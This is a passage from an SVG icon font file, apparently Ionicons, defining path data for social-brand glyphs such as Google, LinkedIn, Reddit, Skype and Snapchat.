c-12 -32 -4 -55 -2 -61c-14 -16 -23 -37 -23 -62c0 -88 52 -107 102 -113c-6 -6 -12 -16 -14 -31c-6 -3 -16 -6 -26 -6c-13 0 -28 5 -39 25c0 0 -13 22 -35 24v0c-2 0 -21 0 -1 -14c0 0 15 -8 25 -34c0 0 10 -33 53 -33c7 0 14 0 22 2v-39c0 -5 -3 -11 -11 -11h-4
c-89 30 -153 116 -153 218c0 127 100 230 224 230z" />
    <glyph glyph-name="ion-social-google-outline" unicode="&#xf34e;" horiz-adv-x="256" 
d="M191 366c12 -10 37 -30 37 -68c0 -37 -21 -55 -43 -72c-7 -7 -15 -13 -15 -24s8 -17 14 -22l18 -14c23 -19 43 -36 43 -71c0 -47 -47 -95 -135 -95c-74 0 -110 35 -110 72c0 18 10 44 40 62c32 19 75 21 98 23c-7 9 -16 18 -16 34c0 9 2 14 5 20c-6 0 -11 -1 -16 -1
c-54 0 -85 40 -85 79c0 23 11 48 33 67c29 24 63 28 91 28h106l-33 -18h-32zM155 142c-4 1 -7 1 -12 1s-32 -1 -54 -8c-11 -4 -44 -16 -44 -52s36 -62 91 -62c49 0 75 24 75 55c0 26 -17 39 -56 66zM170 238c12 12 13 28 13 37c0 36 -22 92 -65 92c-13 0 -28 -6 -36 -16
c-9 -11 -11 -25 -11 -38c0 -34 20 -89 64 -89c13 0 27 6 35 14z" />
    <glyph glyph-name="ion-social-google" unicode="&#xf34f;" horiz-adv-x="288" 
d="M210 172c22 -18 45 -36 45 -73c0 -49 -48 -99 -140 -99c-80 0 -115 39 -115 77c0 10 3 42 42 65c27 16 61 20 85 22c-4 7 -8 16 -8 27c0 4 0 7 1 10h-4c-19 0 -46 4 -67 26c-15 15 -24 36 -24 57c0 26 13 53 35 71v0c32 25 70 29 95 29h133l-60 -33h-13
c11 -13 23 -31 23 -58c0 -40 -25 -59 -45 -74v-1c-6 -6 -11 -10 -11 -17c0 -6 4 -10 10 -15v0zM85 308c0 -13 4 -33 14 -51c7 -12 20 -27 41 -27c10 0 21 4 28 11c10 10 10 25 10 30c0 18 -6 38 -15 54c-7 13 -20 27 -40 27c-11 0 -22 -5 -29 -13c-6 -7 -9 -18 -9 -31z
M206 80c0 20 -13 31 -50 56c-3 0 -4 1 -8 1c-6 0 -32 -2 -51 -8c-16 -6 -37 -16 -37 -42c0 -31 32 -51 80 -51c41 0 66 17 66 44z" />
    <glyph glyph-name="ion-social-googleplus-outline" unicode="&#xf234;" 
d="M192 366c12 -10 36 -30 36 -68c0 -37 -21 -55 -43 -72c-7 -7 -15 -13 -15 -24s8 -18 14 -22l18 -14c23 -19 43 -36 43 -71c0 -47 -47 -95 -135 -95c-74 0 -110 35 -110 72c0 18 10 44 40 62c32 19 75 21 98 23c-7 9 -16 18 -16 34c0 9 3 14 5 20c-6 0 -11 -1 -16 -1
c-54 0 -85 40 -85 79c0 23 10 48 32 67c29 24 64 28 92 28h106l-33 -18h-31zM155 142c-4 0 -7 1 -12 1s-32 -1 -54 -8c-11 -4 -44 -16 -44 -52s36 -62 91 -62c49 0 75 24 75 55c0 26 -17 39 -56 66zM170 238c12 12 13 28 13 37c0 36 -22 92 -65 92c-13 0 -28 -6 -36 -16
c-9 -11 -11 -24 -11 -37c0 -34 20 -90 64 -90c13 0 27 6 35 14zM448 306v-18h-78v-81h-18v81h-80v18h80v78h18v-78h78z" />
    <glyph glyph-name="ion-social-googleplus" unicode="&#xf235;" 
d="M210 172c22 -18 45 -36 45 -73c0 -49 -47 -99 -139 -99c-80 0 -116 39 -116 77c0 10 3 42 42 65c27 16 61 21 85 23c-4 7 -8 15 -8 26c0 4 0 7 1 10h-4c-19 0 -46 4 -67 26c-15 15 -24 36 -24 57c0 26 13 53 35 71v0c32 25 69 29 94 29h134l-60 -33h-13
c11 -13 23 -31 23 -58c0 -40 -25 -59 -45 -74v-1c-6 -6 -11 -10 -11 -17c0 -6 4 -10 10 -15v0zM85 308c0 -13 4 -33 14 -51c7 -12 21 -27 41 -27c10 0 21 4 28 11c10 10 10 25 10 30c0 18 -6 37 -15 53c-8 13 -20 28 -40 28c-11 0 -23 -5 -29 -13c-6 -7 -9 -18 -9 -31z
M206 80c0 20 -13 31 -50 56c-3 0 -4 1 -8 1c-6 0 -31 -2 -50 -8c-16 -6 -38 -16 -38 -42c0 -31 32 -51 80 -51c41 0 66 17 66 44zM370 306h78v-34h-78v-81h-34v81h-80v34h80v78h34v-78z" />
    <glyph glyph-name="ion-social-hackernews-outline" unicode="&#xf236;" horiz-adv-x="384" 
d="M352 352h-320v-320h320v320zM384 384v0v-384h-384v384h384zM233 289h45l-64 -120v-72h-40v72l-66 120h47l40 -84z" />
    <glyph glyph-name="ion-social-hackernews" unicode="&#xf237;" horiz-adv-x="384" 
d="M0 384h384v-384h-384v384zM214 169l64 120h-45l-38 -84l-40 84h-47l66 -120v-72h40v72z" />
    <glyph glyph-name="ion-social-html5-outline" unicode="&#xf4e2;" horiz-adv-x="384" 
d="M0 416h384l-35 -403l-157 -45l-157 45zM319 37l30 347h-314l30 -347l127 -36zM84 184l-13 150h241l-4 -50h-184l4 -51h176l-14 -151l-98 -28l-99 28l-6 77h48l3 -39l54 -15l53 15l6 64h-167z" />
    <glyph glyph-name="ion-social-html5" unicode="&#xf4e3;" horiz-adv-x="384" 
d="M0 416h384l-35 -403l-157 -45l-157 45zM308 284l4 50h-241l13 -150h167l-6 -64l-53 -15l-54 15l-3 39h-48l6 -78l99 -27l98 28l14 151h-176l-4 51h184z" />
    <glyph glyph-name="ion-social-instagram-outline" unicode="&#xf350;" horiz-adv-x="384" 
d="M384 336v-289c0 -26 -22 -47 -48 -47h-288c-26 0 -48 21 -48 47v289c0 26 22 48 48 48h288c26 0 48 -22 48 -48zM192 272c-44 0 -80 -36 -80 -80s36 -80 80 -80s80 36 80 80s-36 80 -80 80zM352 288v48c0 9 -7 16 -16 16h-48c-9 0 -16 -7 -16 -16v-48c0 -9 7 -16 16 -16
h48c9 0 16 7 16 16zM337 32c9 0 15 7 15 16v176h-52c3 -10 4 -21 4 -32c0 -30 -11 -58 -32 -79s-50 -33 -80 -33s-58 12 -79 33s-33 49 -33 79c0 11 2 22 5 32h-53v-176c0 -9 8 -16 17 -16h288z" />
    <glyph glyph-name="ion-social-instagram" unicode="&#xf351;" horiz-adv-x="384" 
d="M112 192c0 53 27 80 80 80s80 -27 80 -80s-27 -80 -80 -80s-80 27 -80 80zM113 271c-14 -14 -23 -29 -28 -47h-85v112c0 13 4 25 14 34s22 14 35 14h288c13 0 24 -5 33 -14s14 -21 14 -34v-112h-84c-5 18 -14 33 -28 47c-22 22 -49 33 -80 33s-57 -11 -79 -33zM352 300
v39c0 4 -2 7 -4 9s-5 4 -9 4h-38c-4 0 -7 -2 -9 -4s-4 -5 -4 -9v-39c0 -4 2 -7 4 -9s5 -3 9 -3h38c4 0 7 1 9 3s4 5 4 9zM272 113c22 22 32 48 32 79h80v-144c0 -13 -5 -24 -14 -34s-20 -14 -33 -14h-288c-13 0 -24 4 -34 14s-15 21 -15 34v144h81c0 -31 10 -57 32 -79
s48 -33 79 -33s58 11 80 33z" />
    <glyph glyph-name="ion-social-javascript-outline" unicode="&#xf4e4;" 
d="M160 344h-48v-196c0 -30 -6 -50 -17 -64c-11 -13 -26 -20 -48 -20c-9 0 -18 1 -25 2l-4 -30c11 -2 25 -4 37 -4c34 0 59 8 76 25c19 18 29 48 29 90v197zM176 360v0v-213c0 -97 -49 -131 -121 -131c-18 0 -40 3 -55 8l8 62c10 -4 24 -6 39 -6c31 0 49 15 49 68v212h80z
M350 352c-34 0 -62 -9 -82 -26c-19 -15 -28 -36 -28 -60c0 -20 7 -36 21 -51c14 -14 34 -26 61 -36c23 -8 38 -15 48 -24c12 -11 18 -23 18 -38c0 -16 -7 -31 -20 -40c-12 -9 -28 -14 -48 -14c-28 0 -52 8 -70 15l-7 -32c18 -8 44 -14 72 -14c38 0 70 9 90 27
c18 16 27 38 27 63c0 21 -5 36 -17 50s-31 27 -58 37v0v0c-38 15 -72 28 -72 63c0 14 7 27 19 36c11 9 26 13 45 13c24 0 43 -5 57 -11l10 32c-19 6 -42 10 -66 10zM350 368v0c38 0 65 -7 85 -16l-19 -64c-13 7 -35 17 -67 17s-48 -16 -48 -33c0 -22 19 -31 62 -48
c58 -22 85 -53 85 -102c0 -57 -42 -106 -133 -106c-38 0 -72 10 -91 21l15 63v0c20 -11 49 -21 81 -21c34 0 52 15 52 38c0 21 -15 33 -55 47c-55 20 -93 52 -93 102c0 58 49 102 126 102z" />
    <glyph glyph-name="ion-social-javascript" unicode="&#xf4e5;" 
d="M176 360v0v-213c0 -97 -49 -131 -121 -131c-18 0 -40 3 -55 8l8 62c10 -4 24 -6 39 -6c31 0 49 15 49 68v212h80zM350 368v0c38 0 65 -7 85 -16l-19 -64c-13 7 -35 17 -67 17s-48 -16 -48 -33c0 -22 19 -31 62 -48c58 -22 85 -53 85 -102c0 -57 -42 -106 -133 -106
c-38 0 -72 10 -91 21l15 63v0c20 -11 49 -21 81 -21c34 0 52 15 52 38c0 21 -15 33 -55 47c-55 20 -93 52 -93 102c0 58 49 102 126 102z" />
    <glyph glyph-name="ion-social-linkedin-outline" unicode="&#xf238;" horiz-adv-x="384" 
d="M119 64v0h-55v171h55v-171zM93 261v0v0c-18 0 -29 13 -29 29c0 17 12 30 30 30s29 -13 29 -30c0 -16 -12 -29 -30 -29zM257 239c36 0 63 -24 63 -75v-100h-55v94c0 22 -8 37 -28 37c-15 0 -24 -10 -28 -20c-2 -4 -2 -9 -2 -14v-97h-55v171h55v-24c8 11 21 28 50 28z
M353 384c18 0 31 -13 31 -30v-321c0 -17 -13 -33 -31 -33h-320c-18 0 -33 16 -33 33v321c0 17 15 30 33 30h320zM350 32c1 0 2 1 2 2v316c0 1 -1 2 -2 2h-316s-2 -1 -2 -2v-315s1 -3 3 -3h315z" />
    <glyph glyph-name="ion-social-linkedin" unicode="&#xf239;" horiz-adv-x="384" 
d="M353 384c18 0 31 -13 31 -30v-321c0 -17 -13 -33 -31 -33h-320c-18 0 -33 16 -33 33v321c0 17 15 30 33 30h320zM119 64v171h-55v-171h55zM93 261c18 0 30 13 30 29c0 17 -11 30 -29 30s-30 -13 -30 -30c0 -16 11 -29 29 -29v0zM320 64v100c0 51 -27 75 -63 75
c-29 0 -42 -17 -50 -28v24h-55v-171h55v97c0 5 0 10 2 14c4 10 13 20 28 20c20 0 28 -15 28 -37v-94h55z" />
    <glyph glyph-name="ion-social-markdown" unicode="&#xf4e6;" 
d="M416 352c18 0 32 -14 32 -32v-256c0 -18 -14 -32 -32 -32h-384c-18 0 -32 14 -32 32v256c0 18 14 32 32 32h384zM252 96v0v192h-56l-42 -68l-42 68h-56v-192h56v96l42 -54l42 54v-96h56zM336 96v0l70 96h-42v96h-56v-96h-42z" />
    <glyph glyph-name="ion-social-nodejs" unicode="&#xf4e7;" horiz-adv-x="384" 
d="M192 -32c-6 0 -12 2 -17 5l-53 32c-8 5 -4 6 -1 7c11 4 14 5 25 12c1 1 3 1 4 0l39 -23c1 -1 4 -1 5 0l156 92c1 1 2 2 2 4v187c0 2 0 4 -2 5l-156 94c-1 1 -3 1 -4 0l-155 -94c-2 -1 -3 -3 -3 -5v-187c0 -2 0 -3 2 -4l40 -24c24 -12 38 1 38 15v183c0 3 2 5 5 5h22
c3 0 5 -2 5 -5v-183c0 -33 -19 -52 -49 -52c-9 0 -17 1 -37 11l-41 24c-10 6 -17 18 -17 30v190c0 12 7 24 17 30l158 95c10 6 24 6 34 0l158 -95c10 -6 17 -18 17 -30v-190c0 -12 -7 -24 -17 -30l-158 -94c-5 -3 -11 -5 -17 -5v0zM241 96c-65 0 -84 31 -84 59c0 3 1 5 4 5
h21c2 0 5 -2 5 -4c3 -22 16 -31 54 -31c33 0 47 11 47 29c0 11 -3 18 -55 23c-43 4 -71 15 -71 51c0 33 28 52 73 52c46 0 76 -14 79 -51c0 -1 -1 -2 -2 -3s-2 -2 -3 -2h-20c-2 0 -5 2 -5 4c-4 17 -16 23 -49 23c-36 0 -41 -12 -41 -22c0 -12 5 -16 54 -23s72 -16 72 -51
c0 -36 -29 -59 -79 -59v0v0z" />
    <glyph glyph-name="ion-social-octocat" unicode="&#xf4e8;" 
d="M146 161c9 0 16 -4 22 -13s10 -20 10 -32s-4 -22 -10 -31s-14 -13 -22 -13c-9 0 -17 4 -23 13s-9 19 -9 31s3 24 9 32c6 9 14 13 23 13zM303 161c9 0 16 -4 22 -13s9 -20 9 -32s-3 -22 -9 -31s-13 -13 -22 -13s-18 4 -24 13s-9 19 -9 31s3 24 9 32c6 9 15 13 24 13z
M414 276c24 -27 34 -66 34 -96c0 -24 -1 -46 -6 -65c-6 -19 -13 -35 -21 -47c-9 -12 -19 -23 -32 -32s-24 -17 -34 -21s-22 -8 -36 -10c-13 -2 -24 -4 -31 -4c0 0 -28 -1 -64 -1s-64 1 -64 1c-7 0 -18 2 -31 4c-14 2 -26 6 -36 10s-22 12 -34 21c-13 9 -23 20 -32 32
c-8 12 -15 28 -21 47c-5 19 -6 41 -6 65c0 31 10 70 34 96c0 0 -2 14 0 39s7 48 16 69c30 -3 67 -20 112 -51c15 4 36 6 62 6c28 0 48 -2 62 -6c20 14 39 24 58 33c19 8 33 13 41 15s13 3 13 3c9 -21 14 -44 16 -69s0 -39 0 -39v0zM348 42c28 13 42 40 42 81
c0 24 -8 43 -26 59c-9 9 -20 13 -32 15s-31 1 -56 -1s-40 -4 -52 -4s-25 2 -42 3s-30 3 -39 3c-10 0 -20 1 -31 -2s-21 -7 -28 -14c-17 -15 -25 -35 -25 -59c0 -41 13 -68 41 -81c27 -13 69 -18 123 -18h2c54 0 95 5 123 18z" />
    <glyph glyph-name="ion-social-pinterest-outline" unicode="&#xf2b0;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM360 56c36 36 56 85 56 136s-20 100 -56 136s-85 56 -136 56s-100 -20 -136 -56s-56 -85 -56 -136s20 -100 56 -136c14 -14 31 -25 48 -34c1 6 2 10 3 16c4 18 29 122 29 122
s-8 15 -8 36c0 33 20 58 44 58c20 0 30 -16 30 -34c0 -20 -13 -51 -20 -79c-6 -24 12 -43 35 -43c42 0 71 54 71 119c0 49 -33 85 -93 85c-68 0 -110 -50 -110 -107c0 -20 6 -33 15 -44c4 -5 5 -6 3 -12c-1 -4 -4 -14 -5 -18c-2 -6 -6 -8 -11 -6c-31 13 -46 48 -46 86
c0 64 54 140 160 140c86 0 142 -63 142 -129c0 -88 -49 -153 -121 -153c-24 0 -47 13 -55 28c0 0 -12 -52 -15 -62c-2 -6 -4 -13 -7 -19c15 -4 31 -6 47 -6c51 0 100 20 136 56z" />
    <glyph glyph-name="ion-social-pinterest" unicode="&#xf2b1;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224c-22 0 -44 3 -64 9c8 14 18 31 23 48c3 10 16 62 16 62c8 -15 30 -28 54 -28c72 0 121 65 121 153c0 66 -56 129 -142 129c-106 0 -160 -76 -160 -140c0 -39 15 -73 46 -86c5 -2 10 0 12 6c1 4 3 14 4 18
c2 6 1 7 -3 12c-9 11 -15 24 -15 44c0 57 42 107 110 107c60 0 94 -36 94 -85c0 -65 -29 -119 -71 -119c-24 0 -42 19 -36 43c7 28 20 59 20 79c0 18 -10 34 -30 34c-24 0 -43 -25 -43 -58c0 -21 7 -36 7 -36s-25 -104 -29 -122c-4 -17 -5 -35 -4 -51
c-79 35 -134 113 -134 205c0 124 100 224 224 224z" />
    <glyph glyph-name="ion-social-python" unicode="&#xf4e9;" horiz-adv-x="384" 
d="M129 199c-29 -5 -49 -30 -49 -57v-43v-3h-15c-29 0 -54 29 -62 69c-2 9 -3 17 -3 27v1c0 53 29 95 65 95h127v16h-96v29c0 26 7 40 46 47c13 2 29 4 45 4s39 -1 55 -4c25 -4 46 -22 46 -47v-57v-31c0 -21 -14 -38 -33 -43c-4 -1 -8 -2 -13 -2h-104h3c-4 0 -8 0 -12 -1z
M140 321c10 0 17 7 17 17s-7 18 -17 18s-18 -8 -18 -18s8 -17 18 -17zM380 225c3 -10 4 -21 4 -33c0 -16 -3 -30 -7 -43c-11 -31 -33 -53 -58 -53h-127v-16h96v-26c0 -26 -23 -40 -46 -47c-35 -10 -68 -9 -97 0c-25 7 -49 22 -49 47v54v33c0 21 14 36 33 41c4 1 8 2 13 2
h104c3 0 6 1 9 1c27 4 49 28 49 62v38v3h15c28 0 52 -26 61 -63zM244 65c-10 0 -18 -7 -18 -17s8 -18 18 -18s17 8 17 18s-7 17 -17 17z" />
    <glyph glyph-name="ion-social-reddit-outline" unicode="&#xf23a;" horiz-adv-x="449" 
d="M259 160c0 21 11 31 32 31s32 -10 32 -31s-11 -32 -32 -32s-32 11 -32 32zM127 160c0 21 11 31 32 31s32 -10 32 -31s-11 -32 -32 -32s-32 11 -32 32zM449 197c0 -20 -9 -36 -27 -45c1 -5 1 -9 1 -14c0 -38 -19 -71 -58 -98s-85 -40 -140 -40s-102 13 -141 40
s-58 59 -58 97c0 5 0 10 1 15c-18 9 -27 24 -27 45c0 14 5 25 15 35s21 15 35 15c13 0 24 -4 33 -13c36 25 79 39 129 41h7l29 98l86 -17c8 19 21 28 41 28c12 0 22 -4 31 -13s13 -20 13 -32s-4 -23 -13 -32s-19 -13 -31 -13s-23 4 -32 13s-13 19 -13 31l-69 14l-24 -77
c50 -2 94 -16 129 -41c10 9 21 13 34 13c9 0 16 -3 24 -7s14 -10 18 -18s7 -16 7 -25zM375 366c-4 0 -8 -1 -11 -2s-6 -4 -8 -6s-5 -6 -6 -9s-2 -6 -2 -10c0 -8 3 -14 8 -19s12 -8 19 -8c5 0 9 1 13 3s8 6 10 10s4 9 4 14c0 8 -3 14 -8 19s-12 8 -19 8zM18 197
c0 -11 5 -20 14 -27c7 19 19 37 37 53c-6 4 -12 6 -19 6c-3 0 -7 0 -10 -1s-6 -3 -9 -5s-5 -4 -7 -7s-4 -6 -5 -9s-1 -6 -1 -10zM355 55c34 23 50 51 50 83v9c-1 6 -3 12 -5 18c-6 16 -15 30 -30 43c-5 4 -10 9 -15 12v0c-36 25 -79 37 -130 37s-95 -12 -131 -37v0
c-5 -3 -10 -8 -15 -12c-15 -13 -24 -27 -30 -43c-2 -6 -4 -12 -5 -18v-9c0 -32 16 -60 50 -83c36 -25 80 -37 131 -37s94 12 130 37zM417 170c9 6 14 16 14 27c0 9 -3 17 -9 23s-13 9 -22 9c-7 0 -14 -2 -20 -6c18 -16 30 -34 37 -53zM289 90l13 -12
c-20 -20 -45 -30 -77 -30s-58 10 -78 30l13 12c16 -16 38 -24 65 -24s48 8 64 24z" />
    <glyph glyph-name="ion-social-reddit" unicode="&#xf23b;" horiz-adv-x="449" 
d="M449 197c0 -20 -11 -37 -27 -45c1 -5 1 -9 1 -14c0 -76 -89 -138 -199 -138s-198 61 -198 137c0 5 0 10 1 15c-16 8 -27 25 -27 45c0 28 23 50 50 50c13 0 24 -5 33 -13c33 23 79 39 129 41h2l31 103l90 -18c8 14 22 24 39 24v0h1c25 0 44 -20 44 -45s-19 -45 -44 -45h-1
v0c-23 0 -42 17 -44 40l-67 14l-22 -74c49 -3 93 -17 125 -40c9 8 21 13 34 13c27 0 49 -22 49 -50zM34 177c5 15 15 29 29 41c-4 3 -9 5 -15 5c-14 0 -25 -11 -25 -25c0 -9 4 -17 11 -21zM358 339c0 -9 7 -17 16 -17s17 8 17 17s-8 17 -17 17s-16 -8 -16 -17zM127 160
c0 -18 14 -32 32 -32s32 14 32 32s-14 31 -32 31s-32 -13 -32 -31zM224 48c48 0 77 29 78 30l-13 12s-25 -24 -65 -24c-41 0 -64 24 -64 24l-13 -12c1 -1 29 -30 77 -30zM291 128c18 0 32 14 32 32s-14 31 -32 31s-32 -13 -32 -31s14 -32 32 -32zM415 176c7 5 11 13 11 22
c0 14 -11 25 -25 25c-6 0 -11 -2 -15 -5c14 -12 24 -27 29 -42z" />
    <glyph glyph-name="ion-social-rss-outline" unicode="&#xf23c;" horiz-adv-x="384" 
d="M56 112c31 0 56 -25 56 -56s-25 -56 -56 -56s-56 25 -56 56s25 56 56 56zM56 16c22 0 40 18 40 40s-18 40 -40 40s-40 -18 -40 -40s18 -40 40 -40zM0 256c140 0 256 -116 256 -256h-80c0 48 -14 94 -48 128s-80 48 -128 48v80zM240 16c-2 26 -8 52 -19 77
c-12 28 -30 54 -52 76s-48 40 -76 52c-25 10 -51 16 -77 18v-47c50 -3 92 -22 123 -53s50 -73 53 -123h48zM0 384c212 0 384 -172 384 -384h-80c0 171 -133 304 -304 304v80zM227 228c56 -56 89 -131 93 -212h48c-8 190 -162 344 -352 352v-48c81 -4 155 -36 211 -92z" />
    <glyph glyph-name="ion-social-rss" unicode="&#xf23d;" horiz-adv-x="384" 
d="M56 112c31 0 56 -25 56 -56s-25 -56 -56 -56s-56 25 -56 56s25 56 56 56zM0 256c140 0 256 -116 256 -256h-80c0 48 -14 94 -48 128s-80 48 -128 48v80zM0 384c212 0 384 -172 384 -384h-80c0 171 -133 304 -304 304v80z" />
    <glyph glyph-name="ion-social-sass" unicode="&#xf4ea;" horiz-adv-x="512" 
d="M512 119v-8c-1 -9 -7 -17 -15 -22s-12 -4 -13 -3s1 3 4 5c13 8 17 20 10 33c-5 10 -15 16 -26 20c-24 8 -48 7 -72 0c4 -12 7 -23 -2 -34c-10 -12 -23 -19 -39 -22c-7 -2 -14 2 -15 9c-3 19 17 36 30 47c-7 11 -11 24 -14 37c-15 -17 -31 -40 -26 -61
c3 -14 -1 -27 -14 -36s-30 -14 -46 -11c-4 1 -6 5 -5 8c2 14 25 32 35 43c2 2 3 4 1 7c-6 12 -10 23 -14 36c-13 -29 -30 -80 -57 -98c-9 -6 -17 -4 -21 5c-3 8 -2 20 -1 29c-6 -13 -11 -27 -20 -38c-7 -8 -24 -7 -30 1c-16 21 -13 50 -5 73l-29 -15c7 -16 8 -32 4 -49
c-5 -19 -17 -35 -35 -46c-19 -12 -64 -24 -77 4c-7 16 -4 30 6 44c17 24 48 37 74 50c-32 23 -80 42 -96 80c-15 35 17 68 43 89c59 48 166 95 244 59c15 -7 36 -24 31 -52c-4 -24 -13 -39 -28 -54c-32 -32 -152 -77 -176 -15c-1 1 -1 4 1 4c2 -1 20 -15 43 -16
c17 -1 36 3 52 8c33 11 71 33 80 67c4 13 -2 28 -15 34c-49 24 -116 -4 -159 -26c-33 -17 -84 -45 -82 -87c1 -37 56 -60 81 -82c15 7 42 15 52 27c11 13 26 25 44 26c8 0 14 -3 16 -10c2 -6 1 -11 0 -19c5 4 11 4 15 -1c12 -14 -22 -50 -10 -66c14 14 21 42 30 59
c4 8 17 51 26 53c7 2 18 4 25 0c2 -1 3 -3 2 -5c-7 -19 -7 -33 3 -52c14 20 29 43 34 67c1 2 3 3 5 4c7 2 18 3 25 0c3 -1 3 -2 2 -5c-7 -22 -6 -38 6 -58c31 11 69 15 97 -5c-3 2 -7 5 0 0c5 -4 3 -2 0 0c12 -8 19 -18 21 -32zM113 94v0c1 7 -1 13 -3 20
c-24 -8 -66 -35 -64 -62c1 -10 8 -13 17 -12s19 7 27 13c14 11 22 24 23 41zM216 166c1 3 -2 5 -5 4c-29 -8 -43 -57 -33 -81c1 -3 4 -3 6 -1c17 16 28 56 32 78zM286 84c8 -3 27 17 26 27c-8 -9 -18 -18 -26 -27zM367 102c11 6 16 19 12 30c-8 -6 -21 -19 -20 -31
c0 -2 6 0 8 1z" />
    <glyph glyph-name="ion-social-skype-outline" unicode="&#xf23e;" horiz-adv-x="384" 
d="M106 352c-41 0 -74 -33 -74 -73c0 -13 4 -25 10 -36l6 -11l-2 -12c-2 -10 -3 -20 -3 -30c0 -40 16 -77 44 -105s67 -44 107 -44c9 0 19 1 28 3l11 2l9 -5c11 -6 24 -9 36 -9c41 0 74 33 74 73c0 11 -3 22 -8 32l-5 10l3 11c2 10 3 21 3 32c0 40 -16 77 -44 105
s-67 43 -107 43c-9 0 -18 0 -26 -2l-12 -2l-10 7c-12 7 -26 11 -40 11zM106 384v0c21 0 40 -6 56 -16c10 2 21 2 32 2c101 0 183 -80 183 -180c0 -13 -1 -27 -4 -39c7 -14 11 -29 11 -46c0 -58 -47 -105 -106 -105c-18 0 -35 4 -50 12c-11 -2 -22 -3 -34 -3
c-101 0 -183 81 -183 181c0 12 2 24 4 36c-9 16 -15 34 -15 53c0 58 47 105 106 105zM288 104c-8 -12 -21 -21 -37 -28s-36 -10 -58 -10c-26 0 -48 5 -65 14c-12 7 -22 15 -30 26s-12 22 -12 33c0 7 3 12 8 17s11 7 19 7c6 0 12 -2 16 -6s7 -8 10 -15s7 -13 11 -18
s8 -9 15 -12s16 -5 27 -5c15 0 28 4 37 10s13 13 13 22c0 7 -2 13 -7 17c-5 5 -11 9 -19 11c-8 3 -20 5 -34 8c-19 4 -35 9 -48 14c-13 6 -24 13 -32 23s-11 22 -11 36s4 25 12 36c8 10 20 19 36 25c15 6 34 8 54 8c16 0 30 -1 42 -5s23 -9 31 -15s14 -13 18 -20
s5 -14 5 -21c0 -6 -2 -12 -7 -17s-11 -8 -19 -8c-7 0 -12 2 -16 5c-3 3 -7 7 -11 14c-5 8 -10 15 -16 20s-17 8 -31 8c-13 0 -23 -3 -31 -8s-12 -11 -12 -18c0 -4 2 -7 4 -10c3 -3 6 -6 11 -8s10 -5 15 -6s13 -3 25 -6c15 -3 28 -6 40 -10s23 -8 32 -14s15 -13 20 -22
s8 -20 8 -32c0 -15 -5 -28 -13 -40z" />
    <glyph glyph-name="ion-social-skype" unicode="&#xf23f;" horiz-adv-x="384" 
d="M373 151c7 -14 11 -29 11 -46c0 -58 -47 -105 -106 -105c-18 0 -35 4 -50 12c-11 -2 -22 -3 -34 -3c-101 0 -183 81 -183 181c0 12 2 24 4 36c-9 16 -15 34 -15 53c0 58 47 105 106 105c21 0 41 -6 57 -16c10 2 20 2 31 2c101 0 183 -80 183 -180c0 -13 -1 -27 -4 -39z
M288 104c9 12 12 25 12 40c0 12 -2 23 -7 32s-12 16 -21 22s-19 10 -31 14s-26 7 -41 10c-12 3 -20 5 -25 6s-10 4 -15 6s-7 5 -10 8c-2 3 -4 6 -4 10c0 7 3 13 11 18s19 7 32 7c14 0 25 -2 31 -7s11 -12 16 -20c4 -7 8 -11 11 -14c4 -3 9 -5 16 -5c8 0 13 3 18 8s8 11 8 17
c0 7 -2 14 -6 21s-10 14 -18 20s-18 11 -30 15s-27 5 -43 5c-20 0 -38 -2 -53 -8c-16 -6 -28 -15 -36 -25c-8 -11 -12 -22 -12 -36s3 -26 11 -36s19 -17 32 -23c13 -5 29 -10 48 -14c14 -3 26 -5 34 -8c8 -2 14 -6 19 -11c5 -4 7 -10 7 -17c0 -9 -4 -17 -13 -23
s-22 -9 -37 -9c-11 0 -20 2 -27 5s-11 6 -15 11s-8 12 -11 19s-6 11 -10 15s-10 6 -16 6c-8 0 -14 -2 -19 -7s-8 -10 -8 -17c0 -11 4 -22 12 -33s18 -19 30 -26c17 -9 39 -14 65 -14c22 0 42 3 58 10s29 16 37 28z" />
    <glyph glyph-name="ion-social-snapchat-outline" unicode="&#xf4eb;" horiz-adv-x="480" 
d="M240 400v0v0c-71 0 -128 -54 -118 -128c2 -15 3 -32 4 -45c0 0 -2 -5 -12 -5c-6 0 -15 2 -28 7c-2 1 -4 1 -6 1c-8 0 -13 -6 -14 -12c0 -5 4 -11 8 -13c14 -7 47 -10 47 -33s-23 -47 -41 -64s-64 -21 -64 -21s0 -21 32 -29s32 -5 33 -13c2 -15 1 -22 11 -22c2 0 4 1 6 1
c8 1 20 3 32 3c11 0 23 -2 34 -9c23 -15 41 -34 76 -34s53 19 76 34c11 7 24 9 35 9c12 0 23 -2 31 -3c2 0 4 -1 6 -1c10 0 9 7 11 22c1 8 1 5 33 13s32 29 32 29s-46 4 -64 21s-41 41 -41 64s33 26 47 33c4 2 9 8 9 13c-1 6 -6 12 -14 12c-2 0 -5 0 -7 -1
c-13 -5 -21 -6 -27 -6c-10 0 -13 4 -13 4c1 13 2 30 4 45c10 74 -47 128 -118 128zM240 416v0c41 0 80 -16 105 -45c24 -28 34 -63 29 -101c-1 -11 -2 -22 -3 -31c4 1 10 2 18 5c4 1 8 2 12 2c16 0 29 -12 30 -27c1 -13 -9 -25 -18 -29c-4 -2 -9 -3 -14 -5
c-7 -2 -14 -5 -19 -8c-4 -3 -5 -4 -5 -5c0 -16 20 -37 36 -52c11 -10 39 -16 54 -17l15 -1v-14c0 -2 0 -11 -6 -21c-5 -8 -16 -19 -38 -24c-6 -1 -11 -3 -15 -4c-2 -1 -5 -1 -7 -1v-1c-1 -7 -1 -13 -4 -18c-2 -5 -9 -12 -22 -12c-2 0 -6 0 -9 1c-2 0 -3 1 -5 1
c-7 1 -15 2 -23 2c-10 0 -19 -2 -26 -6c-4 -3 -9 -7 -14 -10c-18 -13 -38 -27 -71 -27s-53 14 -71 27c-5 3 -9 7 -14 10c-7 4 -15 6 -25 6c-8 0 -17 -1 -24 -2c-2 0 -3 -1 -5 -1c-3 -1 -7 -1 -9 -1c-13 0 -20 7 -22 12c-3 5 -3 11 -4 18v1c-2 0 -4 0 -6 1c-4 1 -10 3 -16 4
c-22 5 -33 16 -38 24c-6 10 -6 18 -6 20v15l15 1c16 1 44 7 54 17c29 27 36 43 36 52c0 1 0 2 -4 5c-5 3 -13 6 -20 8c-5 2 -10 3 -14 5c-9 4 -18 16 -17 29c1 15 14 27 30 27c4 0 8 0 12 -2c8 -3 13 -4 17 -5c-1 9 -2 19 -3 30c-5 38 5 74 29 102c25 29 64 45 105 45v0z
